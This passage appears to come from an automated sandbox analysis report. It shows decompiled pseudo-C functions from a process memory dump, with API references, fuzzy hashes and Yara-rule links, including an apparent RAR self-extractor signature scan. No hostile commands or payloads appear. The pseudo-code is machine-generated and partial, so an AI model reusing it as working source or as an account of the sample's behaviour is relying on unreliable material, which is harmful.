						_t13 = _t11;
					}
				}
				return _t13;
			}

0x010fa0dc
0x010fa0e5
0x010fa0eb
0x010fa0f0
0x010fa101
0x010fa108
0x010fa111
0x010fa117
0x010fa117
0x010fa108
0x010fa11f

APIs

GetFileAttributesW.KERNELBASE(?,?,?,010FA0C9,?,010F768B,?,?,?,?), ref: 010FA0E5
GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,010FA0C9,?,010F768B,?,?,?,?), ref: 010FA111

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 4e5bdc50b74c8a495cca390ad59f966a436968a2b64b505a9ef701a3ca081bf7
Instruction ID: c7300906f7d2104cd0bd345587ff06bdbf90cd016cf9a7a137108d01da4ecdad
Opcode Fuzzy Hash: 4e5bdc50b74c8a495cca390ad59f966a436968a2b64b505a9ef701a3ca081bf7
Instruction Fuzzy Hash: 3CE09B35500118A7CB21AA68DC05BD9779CFB083E5F0042B5FF98D3184D7745DA48BD0

Uniqueness

Uniqueness Score: -1.00%

Function 010FFFE3, Relevance: 3.0, APIs: 2, Instructions: 25
libraryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E010FFFE3(intOrPtr _a4) {
				short _v4100;
				struct HINSTANCE__* _t7;

				E0110E1C0();
				_t7 = GetSystemDirectoryW( &_v4100, 0x800);
				if(_t7 != 0) {
					E010FB8A5( &_v4100, _a4,  &_v4100, 0x800);
					_t7 = LoadLibraryW( &_v4100); // executed
				}
				return _t7;
			}

0x010fffeb
0x010ffffe
0x01100006
0x01100014
0x01100020
0x01100020
0x0110002a

APIs

GetSystemDirectoryW.KERNEL32(?,00000800), ref: 010FFFFE
LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,010FEAC6,Crypt32.dll,00000000,010FEB4A,?,?,010FEB2C,?,?,?), ref: 01100020

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: 8f8eee09e44e1fce949e06141a740f2fc14bdaeb0661842d45121ac1ad9b25db
Instruction ID: d715a5e6bf4a3cfd61ddce99528798c17de84b17da8563033be960f07dd8e29f
Opcode Fuzzy Hash: 8f8eee09e44e1fce949e06141a740f2fc14bdaeb0661842d45121ac1ad9b25db
Instruction Fuzzy Hash: EBE0127690111CBAEB359A94DC04FDA776CEF0D3C1F4404A6BA48D2048DAB49990CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 01109A7F, Relevance: 3.0, APIs: 2, Instructions: 24
windowCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E01109A7F(signed int __ecx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				signed int* _t10;
				signed int _t15;

				_push(__ecx);
				_t15 = __ecx;
				_t10 =  &_v8;
				_v8 = __ecx;
				_v8 = _v8 & 0x00000000;
				_push(_t10);
				_push(_a4);
				 *__ecx = 0x1123670;
				if(_a8 == 0) {
					L0110E082(); // executed
				} else {
					L0110E088();
				}
				 *((intOrPtr*)(_t15 + 8)) = _t10;
				 *(_t15 + 4) = _v8;
				return _t15;
			}

0x01109a82
0x01109a84
0x01109a86
0x01109a89
0x01109a8c
0x01109a94
0x01109a95
0x01109a98
0x01109a9e
0x01109aa7
0x01109aa0
0x01109aa0
0x01109aa0
0x01109aac
0x01109ab2
0x01109abb

APIs

GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 01109AA0
GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 01109AA7

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: BitmapCreateFromGdipStream
String ID:
API String ID: 1918208029-0
Opcode ID: 50ade386dd2a3e921d5077916088b44def0a445e77de4600d29eec68a192537d
Instruction ID: 328e15f86a8dae965c125fb59bf2bea904b64ecb35a89e05e0ae89c1ab2adfc9
Opcode Fuzzy Hash: 50ade386dd2a3e921d5077916088b44def0a445e77de4600d29eec68a192537d
Instruction Fuzzy Hash: 77E06D71D0121CEBDB29DF89C900699B7F8EB08224F20805BE88893340E3B56E449BA1

Uniqueness

Uniqueness Score: -1.00%

Function 01111FAC, Relevance: 3.0, APIs: 2, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E01111FAC(void* __ecx, void* __eflags) {
				intOrPtr _t1;
				void* _t2;
				void* _t9;

				_t1 = E011130D7(__eflags, E01111EF0); // executed
				 *0x112d680 = _t1;
				if(_t1 != 0xffffffff) {
					_t2 = E01113185(__eflags, _t1, 0x115004c);
					_pop(_t9);
					__eflags = _t2;
					if(_t2 != 0) {
						return 1;
					} else {
						E01111FDF(_t9);
						goto L1;
					}
				} else {
					L1:
					return 0;
				}
			}

0x01111fb1
0x01111fb6
0x01111fbf
0x01111fca
0x01111fd0
0x01111fd1
0x01111fd3
0x01111fde
0x01111fd5
0x01111fd5
0x00000000
0x01111fd5
0x01111fc1
0x01111fc1
0x01111fc3
0x01111fc3

APIs

Part of subcall function 011130D7: try_get_function.LIBVCRUNTIME ref: 011130EC

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 01111FCA
___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 01111FD5

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptdtry_get_function
String ID:
API String ID: 806969131-0
Opcode ID: 6691fe558460842f8238d10c701cf30bcea023d3ca94372c868910becb2bc44c
Instruction ID: 355427510423d70081538bc03295e053a7783fc6cb6e75efab165b8fb453b3e8
Opcode Fuzzy Hash: 6691fe558460842f8238d10c701cf30bcea023d3ca94372c868910becb2bc44c
Instruction Fuzzy Hash: F9D0A724114303B49E2C29B52401E6DE6C168715B83A0077DE630854CDDB2040496113

Uniqueness

Uniqueness Score: -1.00%

Function 0110DABD, Relevance: 3.0, APIs: 2, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 30%

			E0110DABD(void* __ecx, void* __esi) {
				signed int _v8;
				void* _t5;
				intOrPtr _t8;
				signed int _t9;
				void* _t16;
				void* _t20;
				signed int _t26;

				_t20 = __esi;
				_t16 = __ecx;
				if(( *0x1124540 & 0x00001000) == 0) {
					return _t5;
				} else {
					E0110DB6B(__ecx, __esi);
					_t8 =  *0x114fcd8 + 1;
					 *0x114fcd8 = _t8;
					if(_t8 == 1) {
						E0110DCBD(4, 0x114fcdc); // executed
					}
					_t24 = _t26;
					_push(_t16);
					_t9 =  *0x112d668; // 0xf5f1ec05
					_v8 = _t9 ^ _t26;
					if(E0110DAF0() == 0) {
						 *0x114fcd4 = 0;
					} else {
						 *0x1122260(0x114fcd4, _t20);
						 *((intOrPtr*)( *0x114fcd0))();
					}
					return E0110EA8A(_v8 ^ _t24);
				}
			}

0x0110dabd
0x0110dabd
0x0110dac7
0x0110daef
0x0110dac9
0x0110dac9
0x0110dad3
0x0110dad4
0x0110dadc
0x0110dae5
0x0110dae5
0x0110dd68
0x0110dd6a
0x0110dd6b
0x0110dd72
0x0110dd7c
0x0110dd97
0x0110dd7e
0x0110dd8c
0x0110dd92
0x0110dd94
0x0110ddae
0x0110ddae

APIs

DloadLock.DELAYIMP ref: 0110DAC9
DloadProtectSection.DELAYIMP ref: 0110DAE5

Part of subcall function 0110DCBD: DloadObtainSection.DELAYIMP ref: 0110DCCD

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: Dload$Section$LockObtainProtect
String ID:
API String ID: 731663317-0
Opcode ID: 1bdc7de38b4da7b121411124a0ee9a6cd6b1edb896c738cda3ca412d79346e80
Instruction ID: 2b4160430168a137ff6053c9bd88252489fddcfab45a7985b7f42446d42db191
Opcode Fuzzy Hash: 1bdc7de38b4da7b121411124a0ee9a6cd6b1edb896c738cda3ca412d79346e80
Instruction Fuzzy Hash: 55D0C9749045029FDA7FEBDCB5C5B192650A719B05F500014E962C66CDCBE440C38B09

Uniqueness

Uniqueness Score: -1.00%

Function 010F12E6, Relevance: 3.0, APIs: 2, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E010F12E6(struct HWND__* _a4, int _a8, signed char _a12) {
				int _t8;

				asm("sbb eax, eax");
				_t8 = ShowWindow(GetDlgItem(_a4, _a8),  ~(_a12 & 0x000000ff) & 0x00000009); // executed
				return _t8;
			}

0x010f12ed
0x010f1302
0x010f1308

APIs

GetDlgItem.USER32(?,?), ref: 010F12FB
ShowWindow.USER32(00000000), ref: 010F1302

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: d7ff93b8a61e04144056e7dfa7017f1fb332ff1668bf3bd4e22a96df0e3a6206
Instruction ID: 22a2af2ddf649292d463e1d504fc9f303134cd74e5329252d0bb292f16f29162
Opcode Fuzzy Hash: d7ff93b8a61e04144056e7dfa7017f1fb332ff1668bf3bd4e22a96df0e3a6206
Instruction Fuzzy Hash: 48C01232058300FECB020BB0DC09E2BBBA8ABA4212F04CD68B0B5C0054C63AC090DB11

Uniqueness

Uniqueness Score: -1.00%

Function 010F12C8, Relevance: 3.0, APIs: 2, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E010F12C8(struct HWND__* _a4, int _a8, signed char _a12) {
				void* _t6;

				_t6 =  *0x115115c(GetDlgItem(_a4, _a8), _a12 & 0x000000ff); // executed
				return _t6;
			}

0x010f12dd
0x010f12e3

APIs

GetDlgItem.USER32(?,?), ref: 010F12D6
KiUserCallbackDispatcher.NTDLL(00000000), ref: 010F12DD

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: CallbackDispatcherItemUser
String ID:
API String ID: 4250310104-0
Opcode ID: b544b103819027090752a350650e5c4c1dd665b4e88ef135e0a893a43fc57431
Instruction ID: faca2f6018fc8375d704a0f5d0f24dfc833bc8c7a60f4ecae7a7ea19179ff721
Opcode Fuzzy Hash: b544b103819027090752a350650e5c4c1dd665b4e88ef135e0a893a43fc57431
Instruction Fuzzy Hash: FFC00276408240FECB165BB09848A2BBBA9AB95211B05C859B1A580114C6358450DB11

Uniqueness

Uniqueness Score: -1.00%

Function 010F19D6, Relevance: 1.8, APIs: 1, Instructions: 310
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E010F19D6(intOrPtr* __ecx, void* __edx) {
				void* __esi;
				signed int _t103;
				intOrPtr _t107;
				signed int _t109;
				signed int _t111;
				signed int _t115;
				signed int _t116;
				signed int _t127;
				intOrPtr _t128;
				char _t129;
				char _t140;
				intOrPtr _t146;
				signed int _t147;
				signed int _t148;
				void* _t151;
				signed int _t156;
				signed int _t160;
				void* _t165;
				void* _t167;
				void* _t171;
				intOrPtr* _t172;
				intOrPtr* _t174;
				signed int _t184;
				void* _t185;
				signed int _t187;
				char* _t202;
				intOrPtr _t203;
				signed int _t204;
				void* _t213;
				void* _t214;
				void* _t215;
				void* _t217;
				char* _t218;
				intOrPtr _t219;
				void* _t220;
				void* _t227;
				void* _t229;

				_t213 = __edx;
				_t174 = __ecx;
				E0110E0E4(0x1121af9, _t229);
				_t172 = _t174;
				_t215 = _t172 + 0x21f8;
				 *((char*)(_t172 + 0x6cbc)) = 0;
				 *((char*)(_t172 + 0x6cc4)) = 0;
				 *0x1122260(_t215, 7, _t214, _t220, _t171);
				if( *( *( *_t172 + 0xc))() == 7) {
					_t222 = 0;
					 *(_t172 + 0x6cc0) = 0;
					_t103 = E010F1DD8(_t215, 7);
					__eflags = _t103;
					if(_t103 == 0) {
						E010F7076(_t229 - 0x38, 0x200000);
						 *(_t229 - 4) = 0;
						 *0x1122260();
						_t107 =  *((intOrPtr*)( *((intOrPtr*)( *_t172 + 0x14))))();
						 *((intOrPtr*)(_t229 - 0x18)) = _t107;
						 *0x1122260( *((intOrPtr*)(_t229 - 0x38)),  *((intOrPtr*)(_t229 - 0x34)) + 0xfffffff0);
						_t109 =  *( *_t172 + 0xc)();
						_t184 = _t109;
						_t222 = 0;
						 *(_t229 - 0x14) = _t184;
						__eflags = _t184;
						if(_t184 <= 0) {
							L22:
							__eflags =  *(_t172 + 0x6cc0);
							_t185 = _t229 - 0x38;
							if( *(_t172 + 0x6cc0) != 0) {
								_t35 = _t229 - 4; // executed
								 *_t35 =  *(_t229 - 4) | 0xffffffff;
								__eflags =  *_t35;
								E010F15D1(_t185); // executed
								L25:
								_t111 =  *(_t172 + 0x6cb0);
								__eflags = _t111 - 4;
								if(__eflags != 0) {
									__eflags = _t111 - 3;
									if(_t111 != 3) {
										 *((intOrPtr*)(_t172 + 0x2200)) = 7;
										L32:
										 *((char*)(_t229 - 0xd)) = 0;
										__eflags = E010F3A95(_t172, _t213, _t222);
										 *(_t229 - 0xe) = 0;
										__eflags = 0 - 1;
										if(0 != 1) {
											L38:
											_t115 =  *((intOrPtr*)(_t229 - 0xd));
											L39:
											_t187 =  *((intOrPtr*)(_t172 + 0x6cc5));
											__eflags = _t187;
											if(_t187 == 0) {
												L41:
												__eflags =  *((char*)(_t172 + 0x6cc4));
												if( *((char*)(_t172 + 0x6cc4)) != 0) {
													L43:
													__eflags = _t187;
													if(__eflags == 0) {
														E010F1380(__eflags, 0x1b, _t172 + 0x1e);
													}
													__eflags =  *((char*)(_t229 + 8));
													if( *((char*)(_t229 + 8)) == 0) {
														goto L1;
													} else {
														L46:
														__eflags =  *(_t229 - 0xe);
														 *((char*)(_t172 + 0x6cb6)) =  *((intOrPtr*)(_t172 + 0x2224));
														if( *(_t229 - 0xe) == 0) {
															L68:
															__eflags =  *((char*)(_t172 + 0x6cb5));
															if( *((char*)(_t172 + 0x6cb5)) == 0) {
																L70:
																E010FFD96(_t172 + 0x6cfa, _t172 + 0x1e, 0x800);
																L71:
																_t116 = 1;
																L72:
																 *[fs:0x0] =  *((intOrPtr*)(_t229 - 0xc));
																return _t116;
															}
															__eflags =  *((char*)(_t172 + 0x6cb9));
															if( *((char*)(_t172 + 0x6cb9)) == 0) {
																goto L71;
															}
															goto L70;
														}
														__eflags =  *((char*)(_t172 + 0x21e0));
														if( *((char*)(_t172 + 0x21e0)) == 0) {
															L49:
															 *0x1122260();
															_t227 =  *((intOrPtr*)( *((intOrPtr*)( *_t172 + 0x14))))();
															_t217 = _t213;
															 *((intOrPtr*)(_t229 - 0x18)) =  *((intOrPtr*)(_t172 + 0x6ca0));
															 *(_t229 - 0x14) =  *(_t172 + 0x6ca4);
															 *((intOrPtr*)(_t229 - 0x1c)) =  *((intOrPtr*)(_t172 + 0x6ca8));
															 *((intOrPtr*)(_t229 - 0x20)) =  *((intOrPtr*)(_t172 + 0x6cac));
															 *((intOrPtr*)(_t229 - 0x24)) =  *((intOrPtr*)(_t172 + 0x21dc));
															while(1) {
																_t127 = E010F3A95(_t172, _t213, _t227);
																__eflags = _t127;
																if(_t127 == 0) {
																	break;
																}
																_t128 =  *((intOrPtr*)(_t172 + 0x21dc));
																__eflags = _t128 - 3;
																if(_t128 != 3) {
																	__eflags = _t128 - 2;
																	if(_t128 == 2) {
																		__eflags =  *((char*)(_t172 + 0x6cb5));
																		if( *((char*)(_t172 + 0x6cb5)) == 0) {
																			L65:
																			_t129 = 0;
																			__eflags = 0;
																			L66:
																			 *((char*)(_t172 + 0x6cb9)) = _t129;
																			L67:
																			 *((intOrPtr*)(_t172 + 0x6ca0)) =  *((intOrPtr*)(_t229 - 0x18));
																			 *(_t172 + 0x6ca4) =  *(_t229 - 0x14);
																			 *((intOrPtr*)(_t172 + 0x6ca8)) =  *((intOrPtr*)(_t229 - 0x1c));
																			 *((intOrPtr*)(_t172 + 0x6cac)) =  *((intOrPtr*)(_t229 - 0x20));
																			 *((intOrPtr*)(_t172 + 0x21dc)) =  *((intOrPtr*)(_t229 - 0x24));
																			 *0x1122260(_t227, _t217, 0);
																			 *( *( *_t172 + 0x10))();
																			goto L68;
																		}
																		__eflags =  *((char*)(_t172 + 0x3318));
																		if( *((char*)(_t172 + 0x3318)) != 0) {
																			goto L65;
																		}
																		_t129 = 1;
																		goto L66;
																	}
																	__eflags = _t128 - 5;
																	if(_t128 == 5) {
																		goto L67;
																	}
																	L59:
																	E010F1F0A(_t172);
																	continue;
																}
																__eflags =  *((char*)(_t172 + 0x6cb5));
																if( *((char*)(_t172 + 0x6cb5)) == 0) {
																	L55:
																	_t140 = 0;
																	__eflags = 0;
																	L56:
																	 *((char*)(_t172 + 0x6cb9)) = _t140;
																	goto L59;
																}
																__eflags =  *((char*)(_t172 + 0x5668));
																if( *((char*)(_t172 + 0x5668)) != 0) {
																	goto L55;
																}
																_t140 = 1;
																goto L56;
															}
															goto L67;
														}
														__eflags =  *((char*)(_t172 + 0x6cbc));
														if( *((char*)(_t172 + 0x6cbc)) != 0) {
															goto L68;
														}
														goto L49;
													}
												}
												__eflags = _t115;
												if(_t115 != 0) {
													goto L46;
												}
												goto L43;
											}
											__eflags =  *((char*)(_t229 + 8));
											if( *((char*)(_t229 + 8)) == 0) {
												goto L1;
											}
											goto L41;
										}
										__eflags = 0;
										 *((char*)(_t229 - 0xd)) = 0;
										while(1) {
											E010F1F0A(_t172);
											_t146 =  *((intOrPtr*)(_t172 + 0x21dc));
											__eflags = _t146 - 1;
											if(_t146 == 1) {
												break;
											}
											__eflags =  *((char*)(_t172 + 0x21e0));
											if( *((char*)(_t172 + 0x21e0)) == 0) {
												L37:
												_t147 = E010F3A95(_t172, _t213, _t222);
												__eflags = _t147;
												_t148 = _t147 & 0xffffff00 | _t147 != 0x00000000;
												 *(_t229 - 0xe) = _t148;
												__eflags = _t148 - 1;
												if(_t148 == 1) {
													continue;
												}
												goto L38;
											}
											__eflags = _t146 - 4;
											if(_t146 == 4) {
												break;
											}
											goto L37;
										}
										_t115 = 1;
										goto L39;
									}
									_t218 = _t172 + 0x21ff;
									_t222 =  *( *_t172 + 0xc);
									 *0x1122260(_t218, 1);
									_t151 =  *( *( *_t172 + 0xc))();
									__eflags = _t151 - 1;
									if(_t151 != 1) {
										goto L1;
									}
									__eflags =  *_t218;
									if( *_t218 != 0) {
										goto L1;
									}
									 *((intOrPtr*)(_t172 + 0x2200)) = 8;
									goto L32;
								}
								E010F1380(__eflags, 0x3c, _t172 + 0x1e);
								goto L1;
							}
							E010F15D1(_t185);
							goto L1;
						} else {
							goto L6;
						}
						do {
							L6:
							_t202 =  *((intOrPtr*)(_t229 - 0x38)) + _t222;
							__eflags =  *_t202 - 0x52;
							if( *_t202 != 0x52) {
								goto L17;
							}
							_t156 = E010F1DD8(_t202, _t109 - _t222);
							__eflags = _t156;
							if(_t156 == 0) {
								L16:
								_t109 =  *(_t229 - 0x14);
								goto L17;
							}
							_t203 =  *((intOrPtr*)(_t229 - 0x18));
							 *(_t172 + 0x6cb0) = _t156;
							__eflags = _t156 - 1;
							if(_t156 != 1) {
								L19:
								_t204 = _t203 + _t222;
								 *(_t172 + 0x6cc0) = _t204;
								_t222 =  *( *_t172 + 0x10);
								 *0x1122260(_t204, 0, 0);
								 *( *( *_t172 + 0x10))();
								_t160 =  *(_t172 + 0x6cb0);
								__eflags = _t160 - 2;
								if(_t160 == 2) {
									L21:
									_t222 =  *( *_t172 + 0xc);
									 *0x1122260(_t215, 7);
									 *( *( *_t172 + 0xc))();
									goto L22;
								}
								__eflags = _t160 - 3;
								if(_t160 != 3) {
									goto L22;
								}
								goto L21;
							}
							__eflags = _t222;
							if(_t222 <= 0) {
								goto L19;
							}
							__eflags = _t203 - 0x1c;
							if(_t203 >= 0x1c) {
								goto L19;
							}
							__eflags =  *(_t229 - 0x14) - 0x1f;
							if( *(_t229 - 0x14) <= 0x1f) {
								goto L19;
							}
							_t165 =  *((intOrPtr*)(_t229 - 0x38)) - _t203;
							__eflags =  *((char*)(_t165 + 0x1c)) - 0x52;
							if( *((char*)(_t165 + 0x1c)) != 0x52) {
								goto L16;
							}
							__eflags =  *((char*)(_t165 + 0x1d)) - 0x53;
							if( *((char*)(_t165 + 0x1d)) != 0x53) {
								goto L16;
							}
							__eflags =  *((char*)(_t165 + 0x1e)) - 0x46;
							if( *((char*)(_t165 + 0x1e)) != 0x46) {
								goto L16;
							}
							__eflags =  *((char*)(_t165 + 0x1f)) - 0x58;
							if( *((char*)(_t165 + 0x1f)) == 0x58) {
								goto L19;
							}
							goto L16;
							L17:
							_t222 = _t222 + 1;
							__eflags = _t222 - _t109;
						} while (_t222 < _t109);
						goto L22;
					}
					 *(_t172 + 0x6cb0) = _t103;
					__eflags = _t103 - 1;
					if(_t103 == 1) {
						_t219 =  *_t172;
						_t222 =  *(_t219 + 0x14);
						 *0x1122260(0);
						_t167 =  *( *(_t219 + 0x14))();
						asm("sbb edx, 0x0");
						 *0x1122260(_t167 - 7, _t213);
						 *((intOrPtr*)(_t219 + 0x10))();
					}
					goto L25;
				}
				L1:
				_t116 = 0;
				goto L72;
			}

0x010f19d6
0x010f19d6
0x010f19db
0x010f19e4
0x010f19ec
0x010f19f3
0x010f19fa
0x010f1a06
0x010f1a13
0x010f1a1e
0x010f1a21
0x010f1a27
0x010f1a2c
0x010f1a2e
0x010f1a74
0x010f1a7b
0x010f1a83
0x010f1a8b
0x010f1a99
0x010f1a9f
0x010f1aa7
0x010f1aaa
0x010f1aac
0x010f1aae
0x010f1ab1
0x010f1ab3
0x010f1b56
0x010f1b56
0x010f1b5d
0x010f1b60
0x010f1b6c
0x010f1b6c
0x010f1b6c
0x010f1b70
0x010f1b75
0x010f1b75
0x010f1b7b
0x010f1b7e
0x010f1b90
0x010f1b93
0x010f1bcd
0x010f1bd7
0x010f1bdb
0x010f1be3
0x010f1be8
0x010f1beb
0x010f1bed
0x010f1c2f
0x010f1c2f
0x010f1c32
0x010f1c32
0x010f1c38
0x010f1c3a
0x010f1c46
0x010f1c46
0x010f1c4d
0x010f1c53
0x010f1c53
0x010f1c55
0x010f1c5d
0x010f1c5d
0x010f1c62
0x010f1c66
0x00000000
0x010f1c6c
0x010f1c6c
0x010f1c6c
0x010f1c76
0x010f1c7c
0x010f1d8e
0x010f1d8e
0x010f1d95
0x010f1da0
0x010f1db0
0x010f1db5
0x010f1db5
0x010f1db7
0x010f1dbd
0x010f1dc7
0x010f1dc7
0x010f1d97
0x010f1d9e
0x00000000
0x00000000
0x00000000
0x010f1d9e
0x010f1c82
0x010f1c89
0x010f1c98
0x010f1c9f
0x010f1ca9
0x010f1cab
0x010f1cb3
0x010f1cbc
0x010f1cc5
0x010f1cce
0x010f1cd7
0x010f1d20
0x010f1d22
0x010f1d27
0x010f1d29
0x00000000
0x00000000
0x010f1ce3
0x010f1ce9
0x010f1cec
0x010f1d0f
0x010f1d12
0x010f1d2d
0x010f1d34
0x010f1d44
0x010f1d44
0x010f1d44
0x010f1d46
0x010f1d46
0x010f1d4c
0x010f1d4f
0x010f1d58
0x010f1d61
0x010f1d6a
0x010f1d73
0x010f1d84
0x010f1d8c
0x00000000
0x010f1d8c
0x010f1d36
0x010f1d3d
0x00000000
0x00000000
0x010f1d41
0x00000000
0x010f1d41
0x010f1d14
0x010f1d17
0x00000000
0x00000000
0x010f1d19
0x010f1d1b
0x00000000
0x010f1d1b
0x010f1cee
0x010f1cf5
0x010f1d05
0x010f1d05
0x010f1d05
0x010f1d07
0x010f1d07
0x00000000
0x010f1d07
0x010f1cf7
0x010f1cfe
0x00000000
0x00000000
0x010f1d02
0x00000000
0x010f1d02
0x00000000
0x010f1d2b
0x010f1c8b
0x010f1c92
0x00000000
0x00000000
0x00000000
0x010f1c92
0x010f1c66
0x010f1c4f
0x010f1c51
0x00000000
0x00000000
0x00000000
0x010f1c51
0x010f1c3c
0x010f1c40
0x00000000
0x00000000
0x00000000
0x010f1c40
0x010f1bef
0x010f1bf1
0x010f1bf4
0x010f1bf6
0x010f1bfb
0x010f1c01
0x010f1c04
0x00000000
0x00000000
0x010f1c0a
0x010f1c11
0x010f1c1c
0x010f1c1e
0x010f1c23
0x010f1c25
0x010f1c28
0x010f1c2b
0x010f1c2d
0x00000000
0x00000000
0x00000000
0x010f1c2d
0x010f1c13
0x010f1c16
0x00000000
0x00000000
0x00000000
0x010f1c16
0x010f1cdc
0x00000000
0x010f1cdc
0x010f1b97
0x010f1ba0
0x010f1ba5
0x010f1bad
0x010f1baf
0x010f1bb2
0x00000000
0x00000000
0x010f1bb8
0x010f1bbb
0x00000000
0x00000000
0x010f1bc1
0x00000000
0x010f1bc1
0x010f1b86
0x00000000
0x010f1b86
0x010f1b62
0x00000000
0x00000000
0x00000000
0x00000000
0x010f1ab9
0x010f1ab9
0x010f1abc
0x010f1abe
0x010f1ac1
0x00000000
0x00000000
0x010f1ac7
0x010f1acc
0x010f1ace
0x010f1b0a
0x010f1b0a
0x00000000
0x010f1b0a
0x010f1ad0
0x010f1ad3
0x010f1ad9
0x010f1adc
0x010f1b14
0x010f1b16
0x010f1b1c
0x010f1b22
0x010f1b28
0x010f1b30
0x010f1b32
0x010f1b38
0x010f1b3b
0x010f1b42
0x010f1b47
0x010f1b4c
0x010f1b54
0x00000000
0x010f1b54
0x010f1b3d
0x010f1b40
0x00000000
0x00000000
0x00000000
0x010f1b40
0x010f1ade
0x010f1ae0
0x00000000
0x00000000
0x010f1ae2
0x010f1ae5
0x00000000
0x00000000
0x010f1ae7
0x010f1aeb
0x00000000
0x00000000
0x010f1af0
0x010f1af2
0x010f1af6
0x00000000
0x00000000
0x010f1af8
